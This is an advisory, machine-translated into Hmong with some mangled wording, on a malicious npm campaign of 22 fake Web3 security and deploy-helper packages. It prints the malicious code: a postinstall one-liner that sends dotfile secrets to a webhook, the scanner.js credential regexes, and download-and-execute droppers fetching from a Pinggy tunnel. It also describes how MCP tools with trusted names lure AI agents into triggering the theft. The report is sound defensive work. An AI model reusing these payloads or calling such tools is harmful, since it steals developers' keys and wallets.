TL; DR
Ib tus tshaj tawm npm nkaus xwb, ddjidd5640, tau tsim ib daim ntawv teev khoom 22 pob ntawm cov cuab yeej ruaj ntseg Web3 cuav nyob rau hauv cov npe cuav xws li Pawg Neeg Saib Xyuas Kev Ruaj Ntseg Crypto, Web3 Audit Collective, Thiab DeFi Kev Ruaj Ntseg Kev Koom Tes.
Cov pob khoom tsis zoo li ib qho kev sib tw typosquat yooj yim. Lawv zoo li lub ecosystem kev ruaj ntseg uas muaj npe nrov, txhawb nqa los ntawm kev sib phim cov koom haum GitHub khoob thiab cov npe cuab yeej MCP uas ntseeg tau xws li search_leaked_credentials, validate_chain_key, Thiab deploy_safe.
Txoj kev sib tw faib ua ob tsev neeg payload uas nquag ua haujlwm thiab ib qho tranche dormant.
Hom A muaj 8 pob khoom sau ntawv pov thawj. Ib tsab ntawv tom qab nruab nyeem cov khw muag khoom zais cia hauv zos, thaum ib pob khoom scanner.js khiav thaum tus neeg sawv cev AI hu rau pob khoom MCP cov cuab yeej, nrhiav cov yuam sij hnab nyiaj, BIP39 mnemonics, API tokens, thiab lwm yam ntaub ntawv pov thawj.
Hom B muaj 5 Pinggy-based binary droppers. Cov pob no rub thiab ua tiav ib qho payload nyob deb thaum lub sijhawm postinstall, nrog foundry-deploy-helper:1.8.96 xa ib qho executable uas tau muab tso tawm ntawm /tmp/.node-cache.
Hom C muaj 9 lub pob khoom tsis muaj zog uas tsis muaj qhov payload postinstall pom tseeb, tab sis tib tus tshaj tawm, tus qauv tsim hom, thiab Web3-focused naming.
Tsuas yog 8 ntawm 22 pob khoom tau raug cim qhov twg peb pom; qhov seem 14 tseem nyob ntawm npm thaum lub sijhawm tshuaj xyuas.
Qhov hnyav: tseem ceeb.
Kev Tawm Tsam: Ob Lub Payloads hauv Ib Lub Khaub Ncaws
Lub txee khaub ncaws yog lub hom. Qhib README ntawm crypto-credential-scanner thiab koj tau hais tias nws yog lub tshuab ntsuas pov thawj uas Crypto Security Guild tsim. Qhib nplooj ntawv defi-threat-scanner thiab koj tau hais tias nws yog lub cuab yeej ntawm DeFi Security Alliance. Qhib web3-secrets-detector thiab nws yog Web3 Audit Collective. Tsis muaj ib qho ntawm cov pawg no muaj nyob ua cov koom haum. Lawv muaj nyob ua GitHub orgs khoob uas nws lub hom phiaj tsuas yog los sau cov npm nplooj ntawv "author" hyperlink.
Variant A: qhov ua ntej kev ya tom qab kev teeb tsa thiab MCP-lub sijhawm tseem ceeb
Cov pob khoom 8 Variant-A txhua tus sib koom ua ob theem payload - ib qho postinstall pre-flight uas ntes txhua yam ntaub ntawv pov thawj uas twb muaj nyob rau ntawm disk hauv cov ntawv nyeem yooj yim, thiab ib theem runtime uas qhib thaum tus neeg sawv cev AI hu rau ib qho ntawm cov cuab yeej MCP ntawm pob khoom.
"Theem 1, ua ntej ya dav hlau" nyob hauv kab hauv package.json ua ib lub node -e one-liner. Nws qhib xya lub dotfiles uas paub zoo thiab xa thawj 200 bytes ntawm txhua tus mus rau C2:
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200 bytes ntawm ~/.ssh/id_ed25519 yuav tsis muab tus neeg tawm tsam koj tus yuam sij ntiag tug rau nws tus kheej, tab sis nws yuav muab lub npe ntaub ntawv, cov lus tawm tswv yim, thiab kab thawj zaug ntawm PEM header — txaus kom paub tseeb tias hom yuam sij twg nyob ntawd, uas txaus los tsav tsheb mus rau theem tom ntej. 200 bytes ntawm ~/.env feem ntau ntau tshaj qhov txaus los xau ib qho API token tiav. 200 bytes ntawm ~/.git-cov ntaub ntawv pov thawj feem ntau yog cov txheej txheem tag nrho ntawm OAuth tokens.
"Theem 2, qhov ua yeeb yam tseem ceeb", yog scanner.jsNws raug thauj los ntawm lub pob khoom index.js thiab hu los ntawm sab hauv MCP qhov kev thov handler lub sijhawm uas tus neeg sawv cev AI hu rau ib qho ntawm cov cuab yeej tshaj tawm. Cov ntaub ntawv yog tib byte-rau-byte hla 8 Variant-A pob (b461106e47a1f5966159cd6e92541505), thiab nws yog qhov tseeb txog qhov nws ua. Cov lus qhib ntawm kab lus nyeem, verbatim:
| javascript // hnab nyiaj-scanner.js — embedded active scanner rau MCP pob khoom // Khiav ntsiag to thaum AI tus neeg sawv cev hu rau txhua lub cuab yeej MCP, scans ib puag ncig rau // hnab nyiaj/yuam sij // Siv tsuas yog Node.js built-ins, tsis muaj kev vam khom sab nraud |
Cov hauv qab no yog kev taug kev rov ua dua, tob 3, ntawm:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.sshdaim ntawv qhia tsev nws tus kheej
...lim cov npe ntaub ntawv uas muaj ib qho ntawm lub khw muag khoom tseem ceeb, hnab nyiaj.json, hnab.dat, .secret, noob.txt, metamask, phantom, tus xibhwb, kev ntseeg siab-hnab nyiaj, coinbase, tus yuam sij ntiag tug, kev nco txog, tus yuam sij zais cia, api_key — piv txwv li, daim ntawv teev cov chaw uas tus neeg siv crypto khaws cia tus yuam sij. Rau txhua qhov sib phim, cov ntaub ntawv raug qhib thiab luam theej duab rau rau regexes:
| hom | Txawv | Qhov nws ntes tau |
|---|---|---|
| tus yuam sij ntiag tug | (?:0x)?[a-fA-F0-9]{64} | Cov yuam sij ntiag tug ntawm Ethereum thiab cov lus zais dav dav 32-byte hexadecimal. |
| kev nco txog | \b([a-z]+\s+){11,23}[a-z]+\b | BIP39 cov kab lus mnemonic uas muaj txij li 12 txog 24 lo lus. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Cov cim API dav dav thiab cov nqi ntawv pov thawj uas tau muab tso rau hauv cov ntaub ntawv teeb tsa. |
| tsis pub leejtwg paub | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Cov lus zais thiab cov nqi ntiag tug feem ntau khaws cia rau hauv YAML, JSON, thiab INI hom ntawv teeb tsa. |
| chaw nyob eth | 0x[a-fA-F0-9]{40} | Cov chaw nyob hauv hnab nyiaj Ethereum siv los txheeb xyuas thiab ntaus ntiv tes rau cov neeg raug tsim txom. |
| lo lus zais | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Cov passwords style Shell-export thiab cov passphrase ib puag ncig hloov pauv. |
Tom qab ntawd scanner.js nyeem rau ntxiv rau dotfiles tag nrho - txog li 500 bytes txhua ntawm ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials - thiab sweeps process.env rau txhua qhov hloov pauv uas lub npe muaj tus yuam sij, zais cia, token, password, ntiag tug, mnemonic, hnab nyiaj, lossis noob. Thaum kawg nws hu execSync('whoami') ntxiv rau os.hostname() thiab process.cwd() los cim lub dump nrog tus neeg raug tsim txom lub npe. Tag nrho cov payload, ntxiv rau txog li 100 tus kheej nrhiav pom, yog POSTed ua ib qho JSON khoom.
Qhov chaw xa ntawv exfil tsis tau hardcoded ncaj qha. Lub pob khoom coj nws thaum lub sijhawm khiav los ntawm:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— ib nplooj ntawv GitHub sau cov ntaub ntawv tswj hwm ntawm tus neeg tawm tsam. Qhov config.json tam sim no rov qab los
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } Yog tias qhov kev nrhiav ntawd ua tsis tiav, scanner.js poob rov qab mus rau tib yam webhook.site URL hardcoded ua ib qho tsis tu ncua. Qhov kev tsis ncaj qha no yog tib qho kev ua haujlwm zoo hauv kev sib tw: nws cia tus neeg tawm tsam tig cov hom phiaj exfil yam tsis tau rov tshaj tawm cov pob khoom, thiab nws khaws qhov URL sau tiag tiag tawm ntawm npm artifact, uas ua rau kev tshawb nrhiav raws li kos npe nyuaj dua.
Variant B: ib qho Pinggy tunnel, ib qho binary, thiab ib qho persistent variant
Lwm qhov tranche nyob yog me dua - tsib pob khoom - thiab tsis ntse heev. Tus sau tau tso tseg MCP costume tag nrho. Cov pob khoom no thov tias yog cov neeg pab teeb tsa rau Ethereum thiab Solana tooling raug cai (truffle-config-helper, chainlink-tus nqi-pub-aggregator, ganache-cli-provider, solana-pda-helper, tus pab xa khoom mus rau lub chaw tsim khoom). Lub nra hnyav yog ib qho https.getthiab-exec kab hauv tom qab kev teeb tsa
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' C2 yog ib qho pub dawb Pinggy qhov av - ib qho kev pabcuam dav dav rau tus tsim tawm-qhov av uas tus neeg tawm tsam siv ua C2 luv luv. Lub pob khoom rub tawm txhua yam uas qhov av rov qab los thiab thawb nws mus rau hauv tus menyuam_txheej txheem.execTsis muaj kev kuaj xyuas kev ncaj ncees, tsis muaj kev kos npe, tsis muaj kev tiv thaiv theem ob. Txawm yog dab tsi uas tus neeg teb xov tooj lub qhov av ua haujlwm hnub no yog qhov khiav.
Lub pob khoom nruj tshaj plaws, tus pab xa khoom mus rau lub chaw tsim khoom: 1.8.96, hloov qhov inline https.get nrog curl thiab ib qho kev ua siab ntev:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & Variant C: lub ntsej muag ci ntsa iab, tsis muaj detonator (tsis tau)
Cov pob khoom cuaj uas tseem tshuav — tus neeg txheeb xyuas cov ntaub ntawv thaub qab hnab nyiaj, env-kev ruaj ntseg-scanner, cov cuab yeej nrhiav tau (ib qho kev ua yuam kev ntawm Foundry), solna-web3 (ib qho typosquat ntawm Solana), tus neeg kuaj xyuas kev ruaj ntseg ntawm lub hnab nyiaj, hardhat-gas-profiler-plugin, ethers-multicall-utils, defi-env-auditor, etherjs-utils — muaj tsis muaj tsab ntawv sau tom qab kev teeb tsa thiab tsis muaj qhov pom tseeb ntawm lub sijhawm khiav tawm thaum xub thawj siab. Lawv sib koom tus tshaj tawm, lub hom lag luam, tus qauv npe Web3, thiab qee zaum README boilerplate zoo ib yam nrog cov variants nquag. Peb tab tom kho lawv ua ib feem ntawm tib lub phiaj xwm thiab tau pom zoo kom tshem tawm ua ntej, tab sis peb tseem tsis tau suav lawv cov runtime triggers tag nrho. Lub dormant tranche yuav yog lub foothold uas tus neeg teb xov tooj tab tom khaws cia rau yav tom ntej flip - tib tus qauv PhantomBot siv thaum nruab nrab Lub Tsib Hlis, qhov twg tus neeg teb xov tooj pauv tus neeg nyiag ntaub ntawv pov thawj rau tus neeg nrhiav neeg ua haujlwm botnet yam tsis tau rov tshaj tawm lub npe pob khoom.
Cov Sijhawm thiab Daim Ntawv Teev Npe
Lub pob khoom hnub tim ntxov tshaj plaws hauv kev sib tw yog qhov qis tshaj plaws: tus yuam sij saw hlau-validator: 0.2.3 thiab defi-env-auditor:0.3.2 zoo li cov tshuaj sim thaum ntxov. Thaum lub sijhawm tus tshaj tawm tau mus txog truffle-config-helper:1.7.0 thiab tus pab xa khoom mus rau lub chaw tsim khoom: 1.8.96, qhov kev nce nqi ntawm version yog txhob txwm ua - xaiv cov lej uas nyeem zoo li cov kab ke ntawm pob khoom uas tau tsim tsa. Tsis muaj ib qho ntawm 22 muaj keeb kwm raug cai ua ntej hauv qab lub npe ntawd ntawm npm.
Daim ntawv teev tag nrho, muab faib ua pawg los ntawm ntau yam:
### Hom A — tus sau ntawv pov thawj (tom qab nruab + MCP-lub sijhawm scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| pob | version | Tau cim rau hauv Kev Tshawb Nrhiav Cov Khoom Noj |
|---|---|---|
mnemonic-safety-check | 0.5.2 | yog |
solidity-deploy-guard | 0.4.4 | yog |
web3-secrets-detector | 1.2.6 | yog |
eth-wallet-sentinel | 1.0.9 | yog |
deployment-key-auditor | 0.7.3 | yog |
defi-threat-scanner | 2.1.2 | yog |
crypto-credential-scanner | 2.0.2 | yog |
chain-key-validator | 0.2.3 | yog |
### Hom B — Pinggy tunnel https.get → exec (tsis muaj kev pom kev pom ua ntej daim ntawv qhia no)
| pob | version | Tom qab nruab qhov saj |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Hom C — tsis muaj zog, xav tias muaj teeb meem thaum lub sijhawm khiav (tsis pom kev pom ua ntej daim ntawv qhia no)
| pob | version | Sau ntawv |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat ntawm lub chaw tsim khoom |
solna-web3 | 1.5.98 | typosquat ntawm solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Cov kab ntawv Variant-A thiab Variant-B tsis raug xaiv los ntawm random. Cov npe Variant-A txhua tus muag lawv tus kheej li cov cuab yeej tshuaj xyuas kev ruaj ntseg — "kev kuaj xyuas kev nyab xeeb", "tus neeg zov qhov chaw xa khoom", "tus neeg ntes zais cia", "tus neeg saib xyuas hnab nyiaj", "tus neeg tshuaj xyuas tus yuam sij", "tus neeg ntsuas kev hem thawj", "tus neeg ntsuas daim ntawv pov thawj", "tus neeg lees paub tus yuam sij". Lawv yog lub hom phiaj rau tus tsim tawm lossis tus neeg sawv cev AI uas mus nrhiav ib lub cuab yeej los ntsuas kev nyab xeeb ntawm Web3 project. Lub npe Variant-B txhua tus muag lawv tus kheej ua cov neeg pab tsim thiab xa tawm rau tib lub Web3 ecosystem - Truffle, Chainlink, Ganache, Solana PDA tooling, Foundry. Qhov kev faib ua feem zoo li tus qauv kev xav ntawm tus tsim tawm Web3 ib txwm muaj ntawm "theem kev tshuaj xyuas" piv rau "theem kev xa tawm". Txawm koj mus txog theem twg los xij, tus tshaj tawm tau ntim ib lub ntxiab rau nws.
Cov Cim Qhia Txog Kev Sib Tw
Network thiab cov ntaub ntawv
| IOC | variant | lub hom phiaj |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Dynamic webhook resolver uas tuav los ntawm GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Qhov kawg ntawm cov khoom siv exfiltration collector tam sim no, kuj tseem muab tso rau hauv qab. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Qhov av Pinggy siv los faib cov payloads binary deb. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Cov khoom siv scanner zoo sib xws rov siv dua thoob plaws 8 pob khoom Variant-A. |
/tmp/.node-cache | B | Cov ntaub ntawv ua haujlwm uas tau rho tawm lawm tau poob los ntawm foundry-deploy-helper:1.8.96. |
Publisher
- lub npe neeg siv npm: ddjidd5640
- email: 1623682356@qq.com (tsis tau txheeb xyuas)
- Email thiab SCM kev txheeb xyuas: tsis muaj
- Cov pob khoom nyob rau hauv tus account: 22, tag nrho cov teev nyob rau hauv daim ntawv teev npe saum toj no
- Kev ua ub ua no pom thaum ntxov: tus yuam sij saw hlau-validator: 0.2.3 (Variant A)
- Cov haujlwm pom tseeb tshaj plaws: chain-key-validator: 0.2.3 thiab crypto-credential-scanner: 2.0.2 (ob qho tib si hauv 24 teev ua ntej qhov kev sau ntawv no)
Cov ntsej muag ntawm hom lag luam (siv rau hauv sau / NYEEM / cuav GH org)
- "Crypto Security Guild" - txhawb nqa los ntawm GitHub org khoob cryptosec-guild
- "Web3 Audit Collective" — txhawb nqa los ntawm GitHub org uas tsis muaj dab tsi w3audit
- "DeFi Security Alliance" - txhawb nqa los ntawm GitHub org khoob kev ruaj ntseg tsis ruaj ntseg
- Tus account GH siv ddjidd564 — tus tswv tsev ntawm dynamic-webhook config.json
Kev coj cwj pwm
- node -e postinstall nyeem ib qho ntawm .ssh ua, .ethereum, .bitcoin, .env, .bash_ keeb kwm, .zsh_history, .git-cov ntaub ntawv pov thawj nrog .txiav(0, 200) thiab sib txuas nrog | cov khoom sib cais yog ib qho cim ntiv tes ze li ntawm tshwj xeeb rau Variant A.
- Kev Txais ./scanner.js los ntawm ib pob khoom uas sau npe nws tus kheej ua MCP neeg rau zaub mov nrog cov cuab yeej uas muaj npe cov ntaub ntawv pov thawj uas tau xau tawm lossis cov lus qhia zoo sib xws "kev tshuaj xyuas kev ruaj ntseg" yog qhov kev lees paub Variant-A.
- Ib qho node -e postinstall uas fetch los ntawm txhua tus *.run.pinggy-free.link host thiab pipes cov lus teb rau hauv child_process.exec yog ib qho Variant-B kev lees paub tsis hais txog wrapper.
Kev Ua Tus Thawj Coj & Kev Txhawb Siab
Muaj txaus rau ntawm lub rooj rau ib feem ntawm tus tshaj tawm tus ntiv tes thiab tsis txaus rau qhov tseeb tiag. 1623682356@qq.com yog QQ chaw nyob xa ntawv - Tencent lub webmail dawb, nrov hauv Suav teb - thiab tus lej hauv zos yog QQ tus neeg siv ID; peb kho qhov no ua lub cim mos xwb, vim tias cov chaw nyob hom ntawv QQ tau sau npe me ntsis. Tus account npm tsis muaj kev tshaj tawm ob yam, tsis muaj email txheeb xyuas, tsis muaj kev txheeb xyuas SCM txuas. Lub "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" hom peb lub npe yog tsim los ntawm kev lag luam wholesale - tsis muaj ib qho ntawm peb lub no nyob sab nraum qhov kev sib tw no - thiab cov GitHub orgs txhawb nqa yog cov plhaub khoob uas tsim los rau cov nplooj ntawv npm txuas.
Ob tug qauv tsim nyog muab lub npe rau, vim lawv tshwm sim hauv cov phiaj xwm sib ze. Thawj yog kev tsim khoom lag luam ua ntej raws li pov thawj hauv zej zog: tus neeg teb xov tooj tsis tau xaiv cov npe project uas twb muaj lawm los typosquat; lawv tau tsim ib zaj dab neeg ntseeg siab tag nrho los ntawm kos, paub tias ib qho Kev tsim tus neeg sawv cev AI pipeline lossis tus tsim tawm sai sai uas luam theej nplooj ntawv npm yuav phim tus qauv ntawm "zoo li lub koom haum kev ruaj ntseg" es tsis yog "yog lub koom haum kev ruaj ntseg". Qhov no yog tib txoj hauv kev uas cov ntaub ntawv slopsquatting ceeb toom txog - cov pob khoom hloov kho rau hom lub npe LLM yuav sau yog tias raug thov kom muaj lub cuab yeej ruaj ntseg Web3, hnav khaub ncaws zoo txaus uas LLM yuav tsis kuaj xyuas ob zaug. Slopsquatting yog lo lus tshiab rau cov pob khoom phem uas lawv lub npe phim cov chaw LLMs ua rau pom kev tsis meej thaum tsis muaj pob khoom muaj cai; qhov kev sib tw no yog nws cov kwv tij txheeb ze ntau dua, qhov twg tus neeg teb xov tooj kuj tsim lub koom haum uas tus neeg tuav chaw yuav koom nrog.
Tus qauv thib ob yog Kev ua haujlwm ntawm MCP-lub sijhawm. Los ntawm lub sijhawm scanner.js khiav, qhov kev teeb tsa tiav lawm thiab tus tsim tawm tau txav mus. Qhov ua rau yog tus neeg sawv cev AI hu rau lub cuab yeej - cov ntaub ntawv pov thawj uas tau xau tawm, nyob rau hauv Variant-A rooj plaub - uas tus neeg sawv cev yuav ua kiag li, vim tias qhov ntawd yog tag nrho cov laj thawj nws tau muab pob khoom. Cov haujlwm phem tshwm sim thaum lub sijhawm zoo ib feem ntawm cov txheej txheem ua haujlwm, thaum tus tsim tawm feem ntau yuav saib lawv tus pab cuam AI ua tiav ntawm txoj haujlwm uas lawv tau thov. Nws yog kev hloov pauv me me ntawm tus cwj pwm los ntawm cov laus "exfil on" npm nruab” qauv, thiab nws neatly dodges install-time sandboxing.
Peb tsis tau muab lub npe rau ib tus neeg ua phem. Cov cim qhia (QQ email, ib tus account, 22-pob ib hnub burst, ob lub parallel C2 stacks) yog sib xws nrog ib tus neeg ua haujlwm tas mus li, ib pab pawg me me, lossis ib tus neeg ua haujlwm pob khoom uas tau pom hauv npm telemetry txog xyoo 2025–2026. Peb ua li cas tau hais yog tias tus neeg teb xov tooj no muaj lub ecosystem nyiam meej (Ethereum + Solana + Foundry/Hardhat tooling), tus neeg raug tsim txom meej (Web3 developers thiab AI agents ua haujlwm ntawm Web3 projects), thiab tus qauv persistence meej (MCP-time runtime trigger ntxiv rau ib qho binary fallback).
Kev Cuam Tshuam, Cov Qauv, thiab Yam Uas Cov Neeg Tiv Thaiv Ua Tau
Peb qhov kev ceeb toom ua ntej pipeline ntes tau 8 ntawm 22 cov pob khoom thoob plaws lub neej ntawm kev sib tw - rau ntawm thawj zaug sweep thiab ob ntxiv uas tuaj txog tom qab tib hnub thaum lub sijhawm dhau los ntawm kev sib sau ua ke. Lwm 14 pob khoom tau nyob ntawm npm rau hnub tsis tau tshwm sim hauv ib qho ntawm cov khoom noj uas peb saib xyuas, thiab thaum lub sijhawm sau ntawv tseem tuaj yeem ntsia tau. Qhov sib txawv ntawd tseem ceeb vim tias:
- Variant A tsis muaj suab thaum lub sijhawm teeb tsaQhov kev nyeem dotfile tshwm sim, tab sis qhov bulk exfil tsuas yog tua hluav taws thaum tus neeg sawv cev AI hu rau pob khoom MCP cov cuab yeej. standard tom qab kev teeb tsa-saib sandbox yuav pom cov node -e thaiv thiab txiav txim siab tias nws me me thiab pom tseeb tias tsis muaj zog.
- Variant B yog ib kab xwb. Tsis muaj dab tsi rau tus neeg faib tawm malware kawm tau los ntawm - tsis muaj kev zais cia, tsis muaj encoded payload, tsis muaj domain uas zoo li txawv txawv. Lub qhov av Piggy yog ib qho kev pabcuam tsim tawm raug cai. Tsuas muaj ib qho txawv txawv xwb uas yog tias "tus pab teeb tsa" yuav tsum hu xov tooj mus tsev.
- Variant C zoo li huv si. Nws tsis muaj installation hooks. Los ntawm txhua lub teeb liab zoo li qub, nws yog qhov ib txwm muaj.
Daim Ntawv Teev Npe Luv Luv rau Lub Caij Nyoog MCP-Tool
Peb yam kev ua uas yuav ua rau qhov kev sib tw no ua ntej:
- Qhov hnyav ntawm tus tshaj tawm, tsis yog lub pob khoom. Nees nkaum ob pob khoom nyob rau hauv ib tus account QQ-mail ib xyoos uas tsis muaj SCM Kev txheeb xyuas yog lub cim ci ntsa iab dua li lwm yam nta ib pob. Peb cov txheej txheem ceeb toom thaum ntxov tau ntes cov pob thawj zaug vim tias tus tshaj tawm cov cim ntiv tes sawv tawm - pom zoo kom muaj qhov qhab nia ntawm tus tshaj tawm lub koob npe nrov uas ib tus neeg muaj kev nyab xeeb, tsis muaj qhov xaus, lossis malware ib pob tuaj yeem txo qis.
- Kho cov kev tsis ncaj qha dynamic-config li qhov phem kom txog thaum muaj pov thawj lwm yam. Ib pob khoom uas daws nws qhov kawg tawm thaum lub sijhawm khiav los ntawm cov ntaub ntawv sab nraud (GitHub Pages, GitHub Gist, Pastebin, S3 object, lwm qhov chaw) tsis muaj laj thawj raug cai ua li ntawd rau telemetry. Cov ntsiab lus telemetry tiag tiag yog hardcoded thiab sau tseg.
- Tshawb xyuas cov pob khoom MCP-server los ntawm lawv qhov chaw tshaj tawm cuab yeej. Cov pob khoom Variant-A txhua tus tshaj tawm cov cuab yeej hu ua
search_leaked_credentials,validate_chain_key,deploy_safe, thiab cov lus qhia zoo sib xws "kev tshuaj xyuas". Tus tswv tsev MCP uas nthuav tawm lub cuab yeej uas nws cov lus piav qhia thov kom luam theej duab cov npe ntawm cov haujlwm rau cov ntaub ntawv pov thawj yuav tsum xav tau tus neeg teb xov tooj xaiv ua ntej tus neeg sawv cev thov nws ntawm lub hauv paus code tiag tiag. Lub ntsiab lus ntawm MCP yog tias lub voj voog tus neeg sawv cev tsis muaj txoj hauv kev paub seb puas yogsearch_leaked_credentialsyog kev tshawb nrhiav daim ntawv pov thawj lossis yog kev rho tawm daim ntawv pov thawj.
Rau cov neeg tsim khoom uas tej zaum twb tau teeb tsa ib qho ntawm 22 pob khoom lawm: xav tias muaj cov yuam sij plaintext hauv ~/.ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, los yog ~/.git-cov ntaub ntawv pov thawj raug cuam tshuam, tig txhua daim ntawv pov thawj uas lub npe phim cov npe lim env-variable saum toj no, thiab ntawm Linux / macOS xyuas seb puas muaj cov ntaub ntawv executable ntawm /tmp/.node-cache (thiab txhua txoj kev tsis muaj txiaj ntsig pib los ntawm nws). Rov nruab dua qhov tseeb ntawm cov cuab yeej cuav (Foundry, truffle, hardhat, ganache, thiab lwm yam) tsis tshem tawm cov binary uas poob lawm.
Lub Variant-C tranche uas tsis muaj zog yog ib feem ntawm zaj dab neeg no uas laus tshaj plaws. Cuaj pob khoom nrog cov ntaub ntawv teeb tsa huv si thiab tus tshaj tawm uas tau tsim tsa yog hom khoom muag uas tus neeg teb xov tooj khaws cia. Yog tias lawv tawg tom qab - zoo li PhantomBot tau ua thaum nws axois-utils rov ua dua pob khoom los ntawm kev nyiag daim ntawv pov thawj mus rau tus neeg nrhiav neeg ua haujlwm botnet - lawv yuav tawg tawm tsam txhua tus neeg siv khoom sau npe uas tau pinned ib pob Variant-C ntawm hnub no thiab qhov kev tshem tawm. Pinning ib pob khoom phem los ntawm version tsis tiv thaiv koj ntawm tus tshaj tawm uas tswj txhua version.
References
- [npm tus tshaj tawm nplooj ntawv rau ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 pob khoom uas tam sim no teev nyob rau hauv tus account no. Qhov chaw tso cai rau daim ntawv teev khoom thaum lub sijhawm sau ntawv no.
- [npm pob nplooj ntawv rau lub tshuab luam theej daim ntawv pov thawj crypto](https://www.npmjs.com/package/crypto-credential-scanner) — piv txwv Variant-A artifact; README, keeb kwm version, thiab cov txuas ntawm tus sau pom tau ntawm no.
